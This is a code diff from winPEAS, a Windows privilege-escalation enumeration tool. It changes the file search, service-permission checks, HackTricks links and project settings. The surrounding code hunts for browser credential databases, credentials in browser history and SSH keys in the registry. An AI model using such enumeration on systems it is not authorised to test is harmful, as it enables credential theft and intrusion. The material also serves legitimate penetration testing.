||||||
if (excludedDirs != null)
|
if (excludedDirs != null)
|
||||||
{
|
{
|
||||||
@@ -51,9 +52,18 @@ namespace winPEAS.Helpers.Search
|
|||||||
Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
||||||
{
|
{
|
||||||
GetFiles(dir.FullName, pattern).ForEach(
|
GetFiles(dir.FullName, pattern).ForEach(
|
||||||
(f) =>
|
(f) => {
|
||||||
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, false))
|
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, false);
|
||||||
);
|
files.Add(file_info);
|
||||||
|
|
||||||
|
CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, true);
|
||||||
|
if (!known_dirs.Contains(file_dir.FullPath))
|
||||||
|
{
|
||||||
|
known_dirs.Add(file_dir.FullPath);
|
||||||
|
files.Add(file_dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
) ;
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -175,29 +185,28 @@ namespace winPEAS.Helpers.Search
|
|||||||
|
|
||||||
// c:\users\current_user
|
// c:\users\current_user
|
||||||
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||||
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern);
|
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Program Files\
|
// c:\Program Files\
|
||||||
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
||||||
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern);
|
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Program Files (x86)\
|
// c:\Program Files (x86)\
|
||||||
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
||||||
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern);
|
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Documents and Settings\
|
// c:\Documents and Settings\
|
||||||
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
||||||
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern);
|
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\ProgramData\Microsoft\Group Policy\History
|
// c:\ProgramData\Microsoft\Group Policy\History
|
||||||
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
||||||
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern);
|
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
||||||
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
||||||
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
||||||
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern);
|
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -217,11 +217,15 @@ namespace winPEAS.Info.ServicesInfo
|
|||||||
{
|
{
|
||||||
if (SIDs.ContainsKey(ace.SecurityIdentifier.ToString()))
|
if (SIDs.ContainsKey(ace.SecurityIdentifier.ToString()))
|
||||||
{
|
{
|
||||||
int serviceRights = ace.AccessMask;
|
string aceType = ace.AceType.ToString();
|
||||||
|
if (!(aceType.Contains("Denied")))
|
||||||
|
{ //https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.commonace?view=net-6.0
|
||||||
|
int serviceRights = ace.AccessMask;
|
||||||
|
string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);
|
||||||
|
|
||||||
string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);
|
if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str))
|
||||||
if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str))
|
permissions.Add(current_perm_str);
|
||||||
permissions.Add(current_perm_str);
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -113,7 +113,7 @@ namespace winPEAS.Info.UserInfo
|
|||||||
{ "520", "Group Policy Creator Owners" }, //A global group that is authorized to create new Group Policy objects in Active Directory. By default, the only member of the group is Administrator.
|
{ "520", "Group Policy Creator Owners" }, //A global group that is authorized to create new Group Policy objects in Active Directory. By default, the only member of the group is Administrator.
|
||||||
{ "521", "Read-only Domain Controllers" }, //A global group. Members of this group are read-only domain controllers in the domain.
|
{ "521", "Read-only Domain Controllers" }, //A global group. Members of this group are read-only domain controllers in the domain.
|
||||||
{ "522", "Cloneable Domain Controllers" }, //A global group. Members of this group that are domain controllers may be cloned.
|
{ "522", "Cloneable Domain Controllers" }, //A global group. Members of this group that are domain controllers may be cloned.
|
||||||
{ "525", "Protected Users" }, //https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#protected-users
|
{ "525", "Protected Users" }, //https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#protected-users
|
||||||
{ "526", "Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
|
{ "526", "Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
|
||||||
{ "527", "Enterprise Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
|
{ "527", "Enterprise Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
|
||||||
{ "553", "RAS and IAS Servers" }, //A domain local group. By default, this group has no members. Servers in this group have Read Account Restrictions and Read Logon Information access to User objects in the Active Directory domain local group.
|
{ "553", "RAS and IAS Servers" }, //A domain local group. By default, this group has no members. Servers in this group have Read Account Restrictions and Read Logon Information access to User objects in the Active Directory domain local group.
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for Chrome DBs");
|
Beaprint.MainPrint("Looking for Chrome DBs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
|
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
|
||||||
|
|
||||||
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
||||||
@@ -58,7 +58,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
|
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
|
||||||
List<string> history = chromeHistBook["history"];
|
List<string> history = chromeHistBook["history"];
|
||||||
List<string> bookmarks = chromeHistBook["bookmarks"];
|
List<string> bookmarks = chromeHistBook["bookmarks"];
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for Firefox DBs");
|
Beaprint.MainPrint("Looking for Firefox DBs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> firefoxDBs = Firefox.GetFirefoxDbs();
|
List<string> firefoxDBs = Firefox.GetFirefoxDbs();
|
||||||
if (firefoxDBs.Count > 0)
|
if (firefoxDBs.Count > 0)
|
||||||
{
|
{
|
||||||
@@ -55,7 +55,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> firefoxHist = Firefox.GetFirefoxHistory();
|
List<string> firefoxHist = Firefox.GetFirefoxHistory();
|
||||||
if (firefoxHist.Count > 0)
|
if (firefoxHist.Count > 0)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Current IE tabs");
|
Beaprint.MainPrint("Current IE tabs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> urls = InternetExplorer.GetCurrentIETabs();
|
List<string> urls = InternetExplorer.GetCurrentIETabs();
|
||||||
|
|
||||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||||
@@ -50,7 +50,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
|
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
|
||||||
List<string> history = chromeHistBook["history"];
|
List<string> history = chromeHistBook["history"];
|
||||||
List<string> favorites = chromeHistBook["favorites"];
|
List<string> favorites = chromeHistBook["favorites"];
|
||||||
|
|||||||
@@ -57,7 +57,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("SSH keys in registry");
|
Beaprint.MainPrint("SSH keys in registry");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#ssh-keys-in-registry", "If you find anything here, follow the link to learn how to decrypt the SSH keys");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#ssh-keys-in-registry", "If you find anything here, follow the link to learn how to decrypt the SSH keys");
|
||||||
|
|
||||||
string[] ssh_reg = RegistryHelper.GetRegSubkeys("HKCU", @"OpenSSH\Agent\Keys");
|
string[] ssh_reg = RegistryHelper.GetRegSubkeys("HKCU", @"OpenSSH\Agent\Keys");
|
||||||
if (ssh_reg.Length == 0)
|
if (ssh_reg.Length == 0)
|
||||||
|
|||||||
@@ -5,12 +5,12 @@ using System.Runtime.InteropServices;
|
|||||||
// General Information about an assembly is controlled through the following
|
// General Information about an assembly is controlled through the following
|
||||||
// set of attributes. Change these attribute values to modify the information
|
// set of attributes. Change these attribute values to modify the information
|
||||||
// associated with an assembly.
|
// associated with an assembly.
|
||||||
[assembly: AssemblyTitle("asdas2dasd")]
|
[assembly: AssemblyTitle("")]
|
||||||
[assembly: AssemblyDescription("")]
|
[assembly: AssemblyDescription("")]
|
||||||
[assembly: AssemblyConfiguration("")]
|
[assembly: AssemblyConfiguration("")]
|
||||||
[assembly: AssemblyCompany("")]
|
[assembly: AssemblyCompany("")]
|
||||||
[assembly: AssemblyProduct("asdas2dasd")]
|
[assembly: AssemblyProduct("")]
|
||||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
[assembly: AssemblyCopyright("")]
|
||||||
[assembly: AssemblyTrademark("")]
|
[assembly: AssemblyTrademark("")]
|
||||||
[assembly: AssemblyCulture("")]
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
|||||||
@@ -14,6 +14,21 @@
|
|||||||
<NuGetPackageImportStamp>
|
<NuGetPackageImportStamp>
|
||||||
</NuGetPackageImportStamp>
|
</NuGetPackageImportStamp>
|
||||||
<TargetFrameworkProfile />
|
<TargetFrameworkProfile />
|
||||||
|
<PublishUrl>publish\</PublishUrl>
|
||||||
|
<Install>true</Install>
|
||||||
|
<InstallFrom>Disk</InstallFrom>
|
||||||
|
<UpdateEnabled>false</UpdateEnabled>
|
||||||
|
<UpdateMode>Foreground</UpdateMode>
|
||||||
|
<UpdateInterval>7</UpdateInterval>
|
||||||
|
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||||
|
<UpdatePeriodically>false</UpdatePeriodically>
|
||||||
|
<UpdateRequired>false</UpdateRequired>
|
||||||
|
<MapFileExtensions>true</MapFileExtensions>
|
||||||
|
<ApplicationRevision>0</ApplicationRevision>
|
||||||
|
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||||
|
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||||
|
<UseApplicationTrust>false</UseApplicationTrust>
|
||||||
|
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
@@ -95,7 +110,8 @@
|
|||||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup>
|
<PropertyGroup>
|
||||||
<StartupObject>winPEAS.Program</StartupObject>
|
<StartupObject>
|
||||||
|
</StartupObject>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Reference Include="System" />
|
<Reference Include="System" />
|
||||||
@@ -692,5 +708,17 @@
|
|||||||
<EmbeddedResource Include="Properties\Resources.ru.resx" />
|
<EmbeddedResource Include="Properties\Resources.ru.resx" />
|
||||||
<EmbeddedResource Include="Properties\Resources.zh-CN.resx" />
|
<EmbeddedResource Include="Properties\Resources.zh-CN.resx" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<BootstrapperPackage Include=".NETFramework,Version=v4.5.2">
|
||||||
|
<Visible>False</Visible>
|
||||||
|
<ProductName>Microsoft .NET Framework 4.5.2 %28x86 and x64%29</ProductName>
|
||||||
|
<Install>true</Install>
|
||||||
|
</BootstrapperPackage>
|
||||||
|
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||||
|
<Visible>False</Visible>
|
||||||
|
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||||
|
<Install>false</Install>
|
||||||
|
</BootstrapperPackage>
|
||||||
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
||||||
@@ -5,7 +5,7 @@
|
|||||||
</StartArguments>
|
</StartArguments>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
|
||||||
<StartArguments>servicesinfo</StartArguments>
|
<StartArguments>fileAnalysis</StartArguments>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
|
||||||
<StartArguments>debug</StartArguments>
|
<StartArguments>debug</StartArguments>
|
||||||
@@ -21,4 +21,14 @@
|
|||||||
<StartArguments>
|
<StartArguments>
|
||||||
</StartArguments>
|
</StartArguments>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<PublishUrlHistory>publish\</PublishUrlHistory>
|
||||||
|
<InstallUrlHistory />
|
||||||
|
<SupportUrlHistory />
|
||||||
|
<UpdateUrlHistory />
|
||||||
|
<BootstrapperUrlHistory />
|
||||||
|
<ErrorReportUrlHistory />
|
||||||
|
<FallbackCulture>en-US</FallbackCulture>
|
||||||
|
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||||
|
</PropertyGroup>
|
||||||
</Project>
|
</Project>
|
||||||
Reference in New Issue
Block a user